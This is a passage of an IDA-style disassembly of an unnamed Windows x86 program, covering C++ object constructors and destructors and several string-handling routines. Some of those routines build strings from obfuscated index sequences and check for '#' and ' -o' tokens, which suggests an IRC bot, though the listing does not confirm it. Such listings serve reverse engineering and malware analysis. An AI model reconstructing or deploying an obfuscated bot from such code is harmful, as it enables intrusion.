		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]
		call	sub_401681
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD580E8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD39Ch, 0E8CD8B50h, 0FFFFD394h
		dd 35F46850h, 65680044h, 0E8004D60h, 0FFFFD9ABh, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCDB5E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 2FE81824h, 8BFFFFCEh, 2444C6C8h, 55E8105Ch
		dd 50FFFFD3h, 4435F068h, 6E356800h, 8EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD76h, 0C3ABE890h
		dd 0C88B0241h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD54E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C4E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
